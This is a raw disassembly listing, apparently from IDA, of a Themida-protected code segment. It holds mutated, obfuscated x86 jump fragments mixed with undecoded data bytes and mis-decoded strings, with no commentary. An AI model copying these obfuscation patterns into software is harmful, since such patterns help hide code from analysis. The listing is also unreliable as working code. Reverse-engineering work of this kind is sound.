		dd 9E22h
; ---------------------------------------------------------------------------


loc_5972C0:				; CODE XREF: Themida_:0059E45Dj
		push	edx
		push	eax
		push	5ACB6583h
		pop	eax
		jmp	loc_5A2B5F
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0CFh
		dd 813A8337h, 4F1AABEAh, 0E9D32912h, 0B27Ch, 441CBD55h
		dd 0EE294576h, 0E450E9h, 4EC8100h, 0E9000000h, 2BBAh, 6AC2815Eh
		dd 5241C9B9h, 24148B5Bh, 815E5456h, 4C6h, 4B95100h, 1000000h
		dd 348759CEh, 0D3F75C24h, 8904EC83h, 0EC832434h, 1E77E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59732A:				; CODE XREF: Themida_:005A918Cj
		mov	eax, esp
		add	eax, 4
		jmp	loc_59D0D8
; ---------------------------------------------------------------------------
aBXZS		db 'Å%=¿X[‡,$éß|',0
		db 0
; ---------------------------------------------------------------------------


loc_597345:				; CODE XREF: Themida_:005A8C0Ej
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, edi
		jmp	loc_5A99C7
; ---------------------------------------------------------------------------
aS_6		db ']é',27h,' ',0
		dd 76685B00h, 0E900000Dh, 8767h, 33243431h, 248B2434h
		dd 0F9F76624h, 5E08950h, 4, 8704E883h, 895C2404h, 0E0892404h
		dd 2F1E9h, 81E38900h, 4C3h, 4EB8100h, 0E9000000h, 313Ah
		dd 8106EAC1h, 610ACDC2h, 0F098E94Eh, 0C7810000h, 4, 5C243C87h
		dd 0C6EB805Ah, 0C380E300h, 24048BC6h, 6804C483h, 1B5Ah
		dd 0B2241489h, 80D2F6F8h, 506601C2h, 0F567E9h, 30806800h
		dd 4890000h, 722E924h, 0E7C10000h, 9C685003h, 89000027h
		dd 0E2E9240Ch, 8900003Fh, 5E542434h, 4C681h, 0C6830000h
		dd 2303E904h, 0C8680000h, 8900000Fh, 4BB241Ch, 1000000h
		dd 35685BDAh, 8900004Fh, 2B9240Ch, 81000000h, 526EFCC2h
		dd 15C28164h, 12F963Bh,	15BD55CAh, 292F963Bh, 0EA815DEAh
		dd 64526EFCh, 0E9240C8Bh, 0CF23h, 0E9243489h, 8209h, 0DC88EB88h
		dd 2434FF5Bh, 0E7895759h, 0FE01E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59746A:				; CODE XREF: Themida_:005A5A9Aj
		or	edx, 7175797Eh
		sub	edx, 0A75D36F8h
		mov	edi, edx
		pop	edx
		push	4B75h
		jmp	loc_59AD9E
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 13341h, 148BD589h, 0F848E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597496:				; CODE XREF: Themida_:0059672Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_598279
; ---------------------------------------------------------------------------


loc_5974A1:				; CODE XREF: Themida_:005A6F7Dj
		add	esp, 4
		push	33CEh
		jmp	loc_59E56F
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E1895124h, 4C181h, 0C1830000h, 402BE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5974C2:				; CODE XREF: Themida_:005A1C8Cj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A2657
; ---------------------------------------------------------------------------
aI4Sul		db '‰4$éž«',0
		dw 8300h
		dd 0EB0104C4h, 8C4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5974E9:				; CODE XREF: Themida_:005A4865j
		shl	edx, 6
		shr	edx, 2
		or	edx, 48293735h
		add	edx, 0B8025F66h
		mov	ebx, edx
		jmp	loc_5A61EB
; ---------------------------------------------------------------------------
		dw 4D68h
		dd 5B43B51Ch, 0E0E9D3F7h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59750F:				; CODE XREF: Themida_:0059DF51j
		push	eax
		mov	eax, 0B0C03F6h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 0BC8E4B9Ch
		jmp	loc_59FEAF
; ---------------------------------------------------------------------------


loc_597528:				; CODE XREF: Themida_:0059C519j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_5AA814
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5453240Ch, 4348685Bh, 34890000h, 6C0ABE24h, 0ECE938CFh
		dd 0BD000001h, 20004305h, 0CFC9E9h, 2434FF00h, 4EC8159h
		dd 0E9000000h, 0C612h, 8324148Bh, 680504C4h, 6856AB23h
		dd 553Dh, 5DEFE9h
		db 0
; ---------------------------------------------------------------------------


loc_59758D:				; CODE XREF: Themida_:005AA4B7j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_59D169
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edi
		push	68A0708Eh
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_5A2E12
; ---------------------------------------------------------------------------
		dd 93E9F001h, 0F7000048h, 4B11E9D6h, 8B660000h,	0A5682404h
		dd 8900007Eh, 0E2892414h, 2CD68h, 241C8900h, 7BBF5751h
		dd 0E97E2873h, 3637h
; ---------------------------------------------------------------------------


loc_5975F8:				; CODE XREF: Themida_:005A802Bj
		add	ebx, 4
		push	ebp
		push	edi
		push	7E001082h
		pop	edi
		jmp	loc_5A5BC7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9D1F600h, 5C31h, 0C4C68h, 24148900h,	0EC83E289h
		dd 243C8904h, 2DBFE952h, 0FA680001h, 89000047h,	4812424h
		dd 424h, 54575E00h, 4C7815Fh, 81000000h, 4EFh, 243C8700h
		dd 243C895Ch, 3AAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_597659:				; CODE XREF: Themida_:005A89D0j
		xor	eax, 78C46AE9h
		jmp	loc_59F615
; ---------------------------------------------------------------------------


loc_597663:				; CODE XREF: Themida_:005A1BDDj
		mov	ebx, 65BC58CDh
		jmp	loc_5AA6A7
; ---------------------------------------------------------------------------
		align 2
		dw 66EBh
		dd 4EC8359h, 0B0240489h, 30F3E985h, 0EC680000h,	8900001Ch
		dd 72B9240Ch, 81575815h, 581576F1h, 75720557h, 0BB533A86h
		dd 688631B4h, 924EB81h,	0D829213Dh, 625E055Bh, 0C801740Fh
		dd 0F625E2Dh, 0F73DE974h, 0F7680000h, 89000054h, 87E9242Ch
		dd 53000006h, 94F5F2BBh, 5BDF29A3h, 47E9F889h, 81000061h
		dd 4C3h, 1AA2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5976DE:				; CODE XREF: Themida_:005A43A5j
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, esp
		jmp	loc_59AC05
; ---------------------------------------------------------------------------


loc_5976F0:				; CODE XREF: Themida_:005A2E2Dj
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_596F35
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2434h, 89532434h, 4C381E3h, 81000000h, 4EBh, 3B91E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_597716:				; CODE XREF: Themida_:0059AD84j
		pop	edi
		push	edx
		jmp	loc_599F09
; ---------------------------------------------------------------------------


loc_59771D:				; CODE XREF: Themida_:0059D3B6j
		push	743Ah
		jmp	loc_599EBF
; ---------------------------------------------------------------------------
		db 50h
		dd 0A73475B8h, 58C70142h, 81CF295Dh, 2C2701C7h,	3C875971h
		dd 24248B24h, 89242C89h, 8CE951E5h, 0F70000EEh,	0F7EE87D6h
		dd 0BAF5E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597756:				; CODE XREF: Themida_:0059E6F3j
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_59C452
; ---------------------------------------------------------------------------
aPB4x0Xsu7	db 'P°¡$"4å0ÃXéî7',0
		align 10h
		dd 8104C483h, 4C3h, 1FE95700h
		db 26h,	1, 0
; ---------------------------------------------------------------------------


loc_59777F:				; CODE XREF: Themida_:0059C41Dj
		pop	eax
		add	esp, 4
		push	41ABh
		mov	[esp], edi
		push	5715h
		mov	[esp], ecx
		push	6601507Bh
		jmp	loc_59B835
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 8B243C33h, 0AF0F2424h, 0E99C51C8h, 0FFFFE6DCh
; ---------------------------------------------------------------------------


loc_5977B0:				; CODE XREF: Themida_:005AB18Bj
		mov	esi, 147918C3h
		inc	esi
		inc	esi
		neg	esi
		add	esi, 1B146277h
		xor	esi, 22D116CFh
		mov	eax, esi
		jmp	loc_59EBCB
; ---------------------------------------------------------------------------
		dd 0E9E38953h, 0D102h, 1F6ECD81h, 0F5813DECh, 2DAC3B49h
		dd 525DEE31h, 0BFFB7DBAh, 5AD601ADh, 0EB20E9h, 0E7895700h
		dd 94B8E9h, 0E68EE900h,	248BFFFFh, 48FDE924h, 335D0000h
		dd 14312414h, 4110E924h, 595B0000h, 3013E9h, 3C8B5900h
		dd 0DCE95624h, 0BE0000C5h, 67315BB4h, 45E9F201h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59782F:				; CODE XREF: Themida_:005A6E53j
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A8C89
; ---------------------------------------------------------------------------
		db 0E9h, 4Ah, 0E6h
		dd 3C33FFFFh, 243C3124h, 8B243C33h, 87E92424h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597853:				; CODE XREF: Themida_:005A5432j
		sub	edx, 0BB72E339h
		mov	edi, edx
		jmp	loc_5A3D54
; ---------------------------------------------------------------------------


loc_597860:				; CODE XREF: Themida_:005A3388j
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A78C9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 53D82904h, 12216E9h
		db 0
; ---------------------------------------------------------------------------


loc_597885:				; CODE XREF: Themida_:005A83AEj
		sub	eax, 5DA70336h
		push	edi
		jmp	loc_59DB20
; ---------------------------------------------------------------------------
		dd 0E9240431h, 0F4A6h, 29E9CE29h, 8B000070h, 3CD32424h
		dd 0E1E99C24h, 66FFFFE5h, 661F34BAh, 8B66D301h,	0C4812414h
		dd 2, 6602EC83h, 0E9241489h, 2E36h, 6E9D800h, 570000FCh
		dd 69F16DBFh, 5FFE01AFh, 815EF031h, 0FF1033C6h,	81C6013Fh
		dd 0FF1033EEh, 24048B3Fh, 4C481h, 56510000h, 4BEh, 8BF18900h
		dd 0C4812434h, 4, 6859CE29h, 3ED3h, 0E9243489h,	12AE3h
		dd 3EE9EA01h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59791B:				; CODE XREF: Themida_:005A926Ej
		mov	[esp], esp
		jmp	loc_59948C
; ---------------------------------------------------------------------------
aPirs		db '^P‰àé¸',0
		align 4


loc_59792C:				; CODE XREF: Themida_:005A2B35j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A26C2
; ---------------------------------------------------------------------------
		dd 0E9C3315Dh, 5FFFh
; ---------------------------------------------------------------------------


loc_597948:				; CODE XREF: Themida_:0059DB3Aj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_596E6A
; ---------------------------------------------------------------------------


loc_597953:				; CODE XREF: Themida_:005A9789j
		pop	esp
		or	edx, eax
		jmp	loc_5A94A7
; ---------------------------------------------------------------------------
		db 80h
		dd 1C8B52C6h, 33F3E924h, 0E1810000h, 4AF901AFh,	5682F181h
		dd 0CD89406Eh, 52240C8Bh, 0C281E289h, 4, 4C281h, 14870000h
		dd 24248B24h, 0C7E95557h, 8B000115h, 53E92424h,	58000064h
		dd 1A2EE952h, 0B8500001h, 4, 16E9C689h,	8B00011Dh, 0C483243Ch
		dd 22540504h, 0E8297993h, 9322542Dh, 242C8B79h,	266A68h
		dd 240C8900h, 0E9535954h, 0E0CBh
; ---------------------------------------------------------------------------


loc_5979D4:				; CODE XREF: Themida_:005A05ACj
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5A825F
; ---------------------------------------------------------------------------
		dd 405h, 4BD5500h, 5000000h, 741E362Ch,	0F269E9h
		db 0
; ---------------------------------------------------------------------------


loc_5979F9:				; CODE XREF: Themida_:005A30B6j
		mov	[esp], ebp
		pop	dword ptr [edi+24h]
		jmp	loc_59DDC6
; ---------------------------------------------------------------------------


loc_597A04:				; CODE XREF: Themida_:005A7EF9j
		pop	ebp
		and	esi, ecx
		pop	ecx
		shl	esi, 7
		jmp	loc_5AA44E
; ---------------------------------------------------------------------------
		dd 0F41568B8h, 8BC32906h, 0C4832404h, 93C38104h, 296F7200h
		dd 93B951CBh, 296F7200h, 78A3E9CBh, 8B660000h, 99E92404h
		db 12h,	1, 0
; ---------------------------------------------------------------------------


loc_597A3B:				; CODE XREF: Themida_:0059DB0Dj
		push	ebx
		push	edx
		mov	edx, 785C1C07h
		jmp	loc_59B703
; ---------------------------------------------------------------------------


loc_597A47:				; CODE XREF: Themida_:00595E8Ej
		mov	dh, 65h
		xor	dh, 1Ah
		xor	dh, 11h
		add	al, 0E4h
		sub	al, dh
		jmp	loc_5AA49F
; ---------------------------------------------------------------------------
aWicsu		db 'W‰çéã{',0
		align 10h


loc_597A60:				; CODE XREF: Themida_:00598EF9j
		push	ebp
		mov	ebp, 0DA0D22AEh
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	1CDD792Ah
		pop	esi
		neg	esi
		shr	esi, 6
		jmp	loc_5A03D0
; ---------------------------------------------------------------------------


loc_597A85:				; CODE XREF: Themida_:00596F9Bj
		and	ebx, 0B27127Fh
		jmp	loc_59FC8B
; ---------------------------------------------------------------------------
		dd 6851555Eh, 2EE025D6h, 53C18159h, 811FB505h, 0D74404E9h
		dd 0AFE98123h, 890D24BAh, 0E58159CDh, 71250AB9h, 486F581h
		dd 8CE97FC7h, 81000015h, 4ECh, 240C8900h, 451E61B9h, 36C5E92Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_597AD2:				; CODE XREF: Themida_:005988E9j
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5983A5
; ---------------------------------------------------------------------------


loc_597ADE:				; CODE XREF: Themida_:00597021j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_59DED1
; ---------------------------------------------------------------------------
		dd 60F56853h, 34FF07FBh, 6DE95B24h, 0FF00003Eh,	669D1C77h
		dd 4116658h, 61E99C24h,	89FFFFE3h, 76B02404h, 53664F24h
		dd 70E992B7h, 870000AFh, 0E95C240Ch, 474Eh, 0F6802DB6h
		dd 80C6FEACh, 0F328AEC6h, 120D2E9h, 4BD00h, 0C6810000h
		dd 511D344Fh, 11CE3E9h,	240C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A9912
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 97B69BB6h, 66E6E981h, 0D90144E8h, 4E08E9h, 0E6E28000h
		dd 0EA80C2FEh, 26EFE923h, 77FF0000h, 29866838h,	34890000h
		dd 0D6B85024h, 0C1224C45h, 0E88308E0h, 105FFh, 0BB530000h
		dd 0CE91BE0Bh, 0AFE9D829h, 680000CFh, 603Fh, 68240C89h
		dd 4E44490Eh, 81240C8Bh, 4C4h, 81D1F700h, 2361CCC1h, 3F36E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597BEE:				; CODE XREF: Themida_:00597FC8j
		pop	ebp
		pop	esi
		jmp	loc_5A7C12
; ---------------------------------------------------------------------------
aSysI		db '(èYé>›',0
		dd 241C8900h, 42474FFh,	83241C8Bh, 48F04C4h, 24248B24h
		dd 11899E9h
		db 0
; ---------------------------------------------------------------------------


loc_597C15:				; CODE XREF: Themida_:005A404Cj
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	loc_5A0BF7
; ---------------------------------------------------------------------------


loc_597C29:				; CODE XREF: Themida_:005A1363j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5A6F21
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_59B282
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC812414h, 4, 0E9242489h, 0CAC5h
; ---------------------------------------------------------------------------


loc_597C60:				; CODE XREF: Themida_:00599A6Dj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_598EFE
; ---------------------------------------------------------------------------


loc_597C6B:				; CODE XREF: Themida_:0059FBE3j
		push	edx
		mov	edx, 6CDD6F1Dh
		xor	eax, edx
		pop	edx
		xor	eax, 99A728DDh
		add	ebp, 580A362Eh
		add	ebp, eax
		sub	ebp, 580A362Eh
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5A6EE8
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 3E81E904h, 0C14F0000h, 0E95303EFh, 1FA1h, 2B6868h, 24248900h
		dd 33868h, 243C8900h, 4BFh, 24448100h, 0FF396004h, 247C014Eh
		dd 246C8104h, 0FF396004h, 1F9EE94Eh, 0C4810000h, 4, 5C24048Fh
		dd 0E9243489h, 0A365h, 66F1F766h, 660C6168h, 66241489h
		dd 95E99C50h, 28FFFFE1h, 148A2414h, 4C48324h, 96E95166h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597D07:				; CODE XREF: Themida_:005A2493j
		add	bl, al
		jmp	loc_59D299
; ---------------------------------------------------------------------------
		dw 61BDh
		dd 0F738CF55h, 0EAB7E9DDh, 0C890000h, 1FE4B924h, 0BEB81C1Eh
		dd 31286A05h, 0C10159C8h, 8E44E9h, 0F0EA8100h, 95E82FDh
		dd 0C0835AD0h, 1A06E901h, 3C870001h, 0C507E924h, 4BD0000h
		dd 0E9000000h, 0AECCh
; ---------------------------------------------------------------------------


loc_597D54:				; CODE XREF: Themida_:0059FACAj
		push	4378h
		mov	[esp], eax
		jmp	loc_595F7D
; ---------------------------------------------------------------------------
		dd offset dword_49005C+740Ch
		align 2
		dw 3489h
		dd 0F274E924h, 8B55FFFFh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59616E
; ---------------------------------------------------------------------------
		dd 207F83ADh, 0CE840F00h, 810000D0h, 0C62FC3C6h, 7BEE8173h
		dd 8136F40Ch, 4ECh, 24148900h, 0D779D9BAh, 4EC8136h, 89000000h
		dd 0E9562404h, 96BAh, 67C78159h, 291BAE61h, 0EA815FFAh
		dd 778133B3h, 0BB53C201h, 778133B3h, 1C8BDA01h,	4C48124h
		dd 0E9000000h, 11BEh, 0B9240C89h, 402B31EFh, 1A2768h, 24048900h
		dd 0FFFC1FE9h, 243C8BFFh, 4C481h, 68E90000h, 290000E9h
		dd 78C381C3h, 0E95D6816h, 5DC8h, 425A05h, 0AD88E930h, 0E95E0000h
		dd 52C9h
; ---------------------------------------------------------------------------


loc_597E1C:				; CODE XREF: Themida_:005A53D7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6065h
		mov	[esp], edi
		jmp	loc_5A04FD
; ---------------------------------------------------------------------------
		db 0C1h
		dd 122D06E0h, 3575A652h, 8864999h, 0E907E0C1h, 0CE4Dh
; ---------------------------------------------------------------------------


loc_597E44:				; CODE XREF: Themida_:0059F610j
		mov	[esp], edi
		jmp	loc_5A0CA2
; ---------------------------------------------------------------------------
a6uk		db '¹6uK',0
aNRysU		db 'º­ËàYéÛu',0
		dw 2900h
		dd 0D8295FF8h, 334E9h, 57E95500h, 50000013h, 8B5A00B8h
		dd 0F3354028h, 0C137F45Bh, 0E95503E8h, 0FFFFEED6h, 7309C181h
		dd 86E93D4Dh, 66FFFFEAh, 5324048Bh, 5FB3E9h
		db 0
; ---------------------------------------------------------------------------


loc_597E95:				; CODE XREF: Themida_:005A334Dj
		pop	edx
		jmp	loc_5A516F
; ---------------------------------------------------------------------------
		db 0F6h
		dd 19C280DAh, 0E9E6E280h, 6A37h, 4E9C149h, 69A0E981h, 0F1814D40h
		dd 0CADC3720h, 0D3C18149h, 8186C262h, 0B611DAEFh, 81CF294Eh
		dd 0B611DAC7h, 240C8B4Eh, 4C481h, 0EF010000h, 7BD6C781h
		dd 34FF0325h, 0E9505D24h, 0CB9Fh, 0E958E730h, 0C01Fh
; ---------------------------------------------------------------------------


loc_597EF0:				; CODE XREF: Themida_:005A817Ej
		pop	edi
		jmp	loc_59C830
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 34441F5Bh, 815AD689h, 0EFE325C6h, 19D2D8Eh, 0B9E9612Fh
		dd 51FFFFF6h, 4C1B0AB9h, 60D9E95Ch, 0E9520000h,	10E7Dh
		dd 0E924048Bh, 0FFFFE17Fh, 242C8B66h, 2C481h, 8B660000h
		dd 4DE9243Ch
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597F3B:				; CODE XREF: Themida_:005A4B75j
		pop	ebx
		jmp	loc_597154
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4B951h, 0A5E90000h, 2D000037h, 30D47829h, 0C568D801h
		dd 0E9000046h, 7D38h, 241CF766h, 2EA0E99Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_597F6A:				; CODE XREF: Themida_:0059FEE4j
		pop	edx
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 31FF6EF2h
		jmp	loc_59BD26
; ---------------------------------------------------------------------------
		dd 8324048Fh, 5F042404h, 0E798E9h, 80EB2800h, 34FF02EBh
		dd 2434FF24h, 4EC8359h,	0D72CE9h, 5EF10100h, 883EE9h
		db 0
; ---------------------------------------------------------------------------


loc_597FA5:				; CODE XREF: Themida_:005A4161j
		mov	[esp], edx
		push	0FA6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A4858
; ---------------------------------------------------------------------------


loc_597FC3:				; CODE XREF: Themida_:005A6838j
		push	ebp
		mov	ebp, esi
		mov	edi, ebp
		jmp	loc_597BEE
; ---------------------------------------------------------------------------
aYsF		db 'Yé³F',0
		dw 0BA00h
		dd 2A176B96h, 8747FA87h, 18ECE9FAh, 575D0001h, 0C781E789h
		dd 4, 6AB1BA52h, 0EA817DB6h, 6DB32927h,	1334F281h, 0BB53760Ch
		dd 484811F4h, 306C381h,	0DA212DE5h, 48CBE95Bh, 0EF810000h
		dd 2AD86F4Ah, 484FC781h, 0EF010111h, 484FEF81h,	0BA520111h
		dd 2AD86F4Ah, 148BD701h, 4C48324h, 8711E9h, 0B0E95600h
		dd 66000105h, 4B045Bh, 2D4AE9C8h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59804A:				; CODE XREF: Themida_:0059955Bj
		pop	esi
		push	eax
		jmp	loc_599E77
; ---------------------------------------------------------------------------


loc_598051:				; CODE XREF: Themida_:005A682Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	ebx
		push	0D573611h
		pop	ebx
		jmp	loc_59D5F9
; ---------------------------------------------------------------------------
aVsA		db 'Vé²a',0
		align 4


loc_59806C:				; CODE XREF: Themida_:005A9802j
		xor	edx, [esp]
		pop	esp


loc_598070:				; CODE XREF: Themida_:005A7C30j
		push	5711h
		mov	[esp], ebx
		jmp	loc_5A74CA
; ---------------------------------------------------------------------------
		db 1, 0CAh, 8Bh
		dd 84E9240Ch, 8B00006Bh, 8951240Ch, 4C181E1h, 0E9000000h
		dd 9BF9h, 0E905E9C1h, 608Bh, 0D0F65966h, 23BAE9h, 0E9C2FE00h
		dd 10595h, 0C60FF2BAh, 5AD6295Fh, 0C681EE01h, 5FC60FF2h
		dd 7E60E9h, 4C58100h, 33000000h, 2C31242Ch, 242C3324h
		dd 881BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5980D9:				; CODE XREF: Themida_:005A1401j
		sub	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_59F583
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 0AEC28100h,	0E96DD654h, 0FFFFE0CBh
; ---------------------------------------------------------------------------


loc_59810C:				; CODE XREF: Themida_:00599A83j
		push	edi
		mov	edi, 794753FCh
		add	dword ptr [esp+8], 21696DC1h
		jmp	loc_5A886C
; ---------------------------------------------------------------------------


loc_59811F:				; CODE XREF: Themida_:0059B75Ej
		sub	ecx, 9D54606h
		shl	ecx, 3
		shl	ecx, 3
		xor	ecx, 4D2C2F92h
		shr	ecx, 5
		xor	ecx, 2172C830h
		jmp	loc_5A7B87
; ---------------------------------------------------------------------------
		db 89h
		dd 61B1240Ch, 6841E180h, 7C0Dh,	0B3241C89h, 10F380CCh
		dd 0E9E9CBFEh
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59815B:				; CODE XREF: Themida_:005A7E5Dj
		mov	esi, 0C4276693h
		xor	eax, esi
		jmp	loc_5962AF
; ---------------------------------------------------------------------------


loc_598167:				; CODE XREF: Themida_:0059A794j
		push	bx
		jmp	loc_5A6661
; ---------------------------------------------------------------------------
		dw 0D968h
		dd 8900006Ch, 0E189240Ch, 4C181h, 0E9810000h, 4, 3A2E68h
		dd 240C8900h, 2953E9h, 52D80100h, 0CBF5E9h, 25BB5300h
		dd 4B12A735h, 0FFCB814Bh, 0F7579B53h, 8AF381DBh, 1C944A0h
		dd 3C055BD8h, 55023975h, 8B7970BDh, 0CAF58148h,	1757456h
		dd 0DF685DE8h, 8900001Fh, 5EBD242Ch, 537AB6Dh, 5B3469Fh
		dd 0BF57E801h, 5B3469Fh, 0FF5FF829h, 0E95D2434h, 0D14Fh
		dd 0E9241C8Bh, 98A4h, 6A4E981h,	0CB01780Dh, 81240C8Bh
		dd 4C4h, 4C38100h, 87000000h, 815C241Ch, 4C7h, 0B064E900h
		dd 0F8010000h, 0FFF7E95Fh, 21050000h, 165B774h,	7753E9D0h
		dd 0C890000h, 9856824h,	4890000h, 52D48824h, 0D588E288h
		dd 0C2DCE9h, 0E9815800h, 151435F4h, 0E952D901h,	95F7h
		dd 0B3FAE955h, 8B590000h, 4BE9241Ch, 1000024h, 0C875AD1h
		dd 2229E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59826E:				; CODE XREF: Themida_:005A9653j
		push	ebp
		mov	ebp, 15F6650Ah
		jmp	loc_5AAC6F
; ---------------------------------------------------------------------------


loc_598279:				; CODE XREF: Themida_:0059749Cj
		push	edx
		jmp	loc_5A4BED
; ---------------------------------------------------------------------------
		db 52h
		dd 0F680C7B6h, 5AF530EAh, 12F03E9h
		db 0
; ---------------------------------------------------------------------------


loc_59828D:				; CODE XREF: Themida_:0059FC7Ej
		add	ebp, 4
		jmp	loc_5A8AC8
; ---------------------------------------------------------------------------


loc_598298:				; CODE XREF: Themida_:005A7724j
		dec	edx
		sub	edx, 692F3EC2h
		shr	edx, 2
		sub	edx, 0F6B94296h
		push	edx
		push	ebx
		jmp	loc_596740
; ---------------------------------------------------------------------------
		db 47h
		dd 215EF781h, 0BE914CEh, 520000B0h, 0C281E289h,	4, 4C281h
		dd 14870000h, 0BE565C24h, 500C0868h, 7733CE81h,	0B2E943A8h
		dd 8100010Eh, 90453CF2h, 0E9D729B0h, 0BEA8h, 0E781D7F7h
		dd 58E57D41h, 0FFEFA1E9h, 4C481FFh, 33000000h, 1C31241Ch
		dd 241C3324h, 3024248Bh, 0E99C2404h, 0FFFFDB78h, 4B8h
		dd 64EB8100h, 2974D24Ah, 64C381C3h, 8B74D24Ah, 0C4832404h
		dd 74FF5304h, 55E90424h, 0BA0000A5h, 628FADA6h,	75C4B850h
		dd 0C20135DAh, 0F8B85058h, 0C1180F1Ch, 5D3505E8h, 256E1826h
		dd 4FCD01D9h, 0A0411705h, 71FD0D63h, 4CE9605Ah,	830000DEh
		dd 5D042404h, 7ADF68h, 24148900h, 991411BAh, 0FDAE930h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59837E:				; CODE XREF: Themida_:005AA1DDj
		push	edi
		push	eax
		mov	eax, 0CBE2913Fh
		mov	edi, eax
		pop	eax
		xor	ecx, edi
		pop	edi
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_5A319E
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 0FFEFCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59839D:				; CODE XREF: Themida_:005AB46Aj
		mov	esp, [esp]
		jmp	loc_5999FA
; ---------------------------------------------------------------------------


loc_5983A5:				; CODE XREF: Themida_:00597AD9j
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5AB188
; ---------------------------------------------------------------------------
		db 0BEh
		dd 8E60782h, 18E9DEF7h,	8B000040h, 0ABE92424h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


